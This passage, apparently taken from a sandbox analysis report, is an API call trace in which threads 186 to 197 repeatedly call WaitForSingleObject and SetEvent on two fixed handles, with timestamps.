(hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.424] SetEvent (hEvent=0x1a4) returned 1 [0068.424] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.508] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.586] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.644] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.728] SetEvent (hEvent=0x1a4) returned 1 [0068.728] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.794] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.842] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.900] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.961] SetEvent (hEvent=0x1a4) returned 1 [0068.961] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.118] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 186 os_tid = 0xb64 [0067.759] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.925] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.977] SetEvent (hEvent=0x1a4) returned 1 [0067.977] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.031] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.098] SetEvent (hEvent=0x1a4) returned 1 [0068.098] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.161] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.231] SetEvent (hEvent=0x1a4) returned 1 [0068.231] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.289] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.354] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.405] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.491] SetEvent (hEvent=0x1a4) returned 1 [0068.491] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.579] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.632] SetEvent (hEvent=0x1a4) returned 1 [0068.632] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.712] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.777] SetEvent (hEvent=0x1a4) returned 1 [0068.777] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.830] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.884] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.946] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.104] SetEvent (hEvent=0x1a4) returned 1 [0069.104] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.159] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 187 os_tid = 0xb68 [0067.759] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.925] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.977] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.033] SetEvent (hEvent=0x1a4) returned 1 [0068.033] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.097] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.162] SetEvent (hEvent=0x1a4) returned 1 [0068.162] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.229] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.290] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.354] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.407] SetEvent (hEvent=0x1a4) returned 1 [0068.407] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.489] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.579] SetEvent (hEvent=0x1a4) returned 1 [0068.579] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.632] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.714] SetEvent (hEvent=0x1a4) returned 1 [0068.714] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.775] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.830] SetEvent (hEvent=0x1a4) returned 1 [0068.831] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.884] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.946] SetEvent (hEvent=0x1a4) returned 1 [0068.946] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.102] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.159] SetEvent (hEvent=0x1a4) returned 1 [0069.159] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 188 os_tid = 0x80c [0067.759] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.889] SetEvent (hEvent=0x1a4) returned 1 [0067.889] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.932] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.981] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.033] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.100] SetEvent (hEvent=0x1a4) returned 1 [0068.100] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.173] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.233] SetEvent (hEvent=0x1a4) returned 1 [0068.233] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.305] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.371] SetEvent (hEvent=0x1a4) returned 1 [0068.371] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.426] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.525] SetEvent (hEvent=0x1a4) returned 1 [0068.525] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.591] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.662] SetEvent (hEvent=0x1a4) returned 1 [0068.662] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.728] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.795] SetEvent (hEvent=0x1a4) returned 1 [0068.795] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.849] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.909] SetEvent (hEvent=0x1a4) returned 1 [0068.909] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.959] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.117] SetEvent (hEvent=0x1a4) returned 1 [0069.117] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.167] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 189 os_tid = 0x3c4 [0067.759] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.888] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.934] SetEvent (hEvent=0x1a4) returned 1 [0067.934] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.034] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.099] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.173] SetEvent (hEvent=0x1a4) returned 1 [0068.173] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.232] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.305] SetEvent (hEvent=0x1a4) returned 1 [0068.305] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.371] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.426] SetEvent (hEvent=0x1a4) returned 1 [0068.426] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.524] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.592] SetEvent (hEvent=0x1a4) returned 1 [0068.592] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.661] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.728] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.794] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.850] SetEvent (hEvent=0x1a4) returned 1 [0068.850] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.908] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.960] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.117] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.167] SetEvent (hEvent=0x1a4) returned 1 [0069.167] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 190 os_tid = 0x7f4 [0067.759] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.890] SetEvent (hEvent=0x1a4) returned 1 [0067.890] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.934] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.994] SetEvent (hEvent=0x1a4) returned 1 [0067.994] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.047] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.119] SetEvent (hEvent=0x1a4) returned 1 [0068.119] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.189] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.249] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.317] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.375] SetEvent (hEvent=0x1a4) returned 1 [0068.375] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.425] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.507] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.586] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.644] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.727] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.793] SetEvent (hEvent=0x1a4) returned 1 [0068.794] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.842] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.900] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.956] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.105] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.158] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 191 os_tid = 0xb4c [0067.759] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.889] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.935] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.993] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.047] SetEvent (hEvent=0x1a4) returned 1 [0068.047] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.118] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.190] SetEvent (hEvent=0x1a4) returned 1 [0068.190] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.249] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.317] SetEvent (hEvent=0x1a4) returned 1 [0068.317] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.372] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.425] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.507] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.586] SetEvent (hEvent=0x1a4) returned 1 [0068.586] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.643] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.727] SetEvent (hEvent=0x1a4) returned 1 [0068.727] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.792] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.843] SetEvent (hEvent=0x1a4) returned 1 [0068.843] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.900] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.959] SetEvent (hEvent=0x1a4) returned 1 [0068.959] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.104] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.158] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 192 os_tid = 0x360 [0067.759] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.889] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.935] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.995] SetEvent (hEvent=0x1a4) returned 1 [0067.995] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.057] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.117] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.177] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.244] SetEvent (hEvent=0x1a4) returned 1 [0068.244] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.304] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.363] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.419] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.507] SetEvent (hEvent=0x1a4) returned 1 [0068.507] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.585] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.643] SetEvent (hEvent=0x1a4) returned 1 [0068.643] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.714] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.779] SetEvent (hEvent=0x1a4) returned 1 [0068.779] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.841] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.899] SetEvent (hEvent=0x1a4) returned 1 [0068.899] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.955] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.106] SetEvent (hEvent=0x1a4) returned 1 [0069.106] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.164] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 193 os_tid = 0x8f0 [0067.760] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.889] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.936] SetEvent (hEvent=0x1a4) returned 1 [0067.936] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.995] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.058] SetEvent (hEvent=0x1a4) returned 1 [0068.058] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.117] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.177] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.244] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.304] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.363] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.420] SetEvent (hEvent=0x1a4) returned 1 [0068.420] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.506] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.586] SetEvent (hEvent=0x1a4) returned 1 [0068.586] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.641] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.715] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.778] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.842] SetEvent (hEvent=0x1a4) returned 1 [0068.842] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.898] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.955] SetEvent (hEvent=0x1a4) returned 1 [0068.955] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.105] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.166] SetEvent (hEvent=0x1a4) returned 1 [0069.166] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 194 os_tid = 0x8fc [0067.760] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.898] SetEvent (hEvent=0x1a4) returned 1 [0067.898] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.946] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.994] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.046] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.116] SetEvent (hEvent=0x1a4) returned 1 [0068.116] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.178] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.250] SetEvent (hEvent=0x1a4) returned 1 [0068.250] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.318] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.376] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.439] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.527] SetEvent (hEvent=0x1a4) returned 1 [0068.527] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.592] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.666] SetEvent (hEvent=0x1a4) returned 1 [0068.666] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.737] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.804] SetEvent (hEvent=0x1a4) returned 1 [0068.804] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.851] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.913] SetEvent (hEvent=0x1a4) returned 1 [0068.913] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.977] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.127] SetEvent (hEvent=0x1a4) returned 1 [0069.127] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 195 os_tid = 0x914 [0067.760] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.897] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.946] SetEvent (hEvent=0x1a4) returned 1 [0067.946] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.994] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.047] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.114] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.178] SetEvent (hEvent=0x1a4) returned 1 [0068.178] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.250] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.318] SetEvent (hEvent=0x1a4) returned 1 [0068.318] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.375] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.440] SetEvent (hEvent=0x1a4) returned 1 [0068.440] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.527] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.593] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.663] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.739] SetEvent (hEvent=0x1a4) returned 1 [0068.739] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.803] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.852] SetEvent (hEvent=0x1a4) returned 1 [0068.852] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.913] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.977] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.126] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 196 os_tid = 0x904 [0067.760] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.905] SetEvent (hEvent=0x1a4) returned 1 [0067.905] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.951] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.007] SetEvent (hEvent=0x1a4) returned 1 [0068.007] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.073] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.135] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.258] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.326] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.386] SetEvent (hEvent=0x1a4) returned 1 [0068.386] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.441] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.526] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.593] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.669] SetEvent (hEvent=0x1a4) returned 1 [0068.669] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.739] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.806] SetEvent (hEvent=0x1a4) returned 1 [0068.806] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.860] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.912] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.977] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.128] SetEvent (hEvent=0x1a4) returned 1 [0069.128] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 197 os_tid = 0x8d8 [0067.760] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.904] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.951] SetEvent (hEvent=0x1a4) returned 1 [0067.951] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.006] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.074] SetEvent (hEvent=0x1a4) returned 1 [0068.074] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.135] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.199] SetEvent (hEvent=0x1a4) returned 1 [0068.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.258] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] SetEvent (hEvent=0x1a4) returned 1 [0068.328] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.385] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.441] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.526] 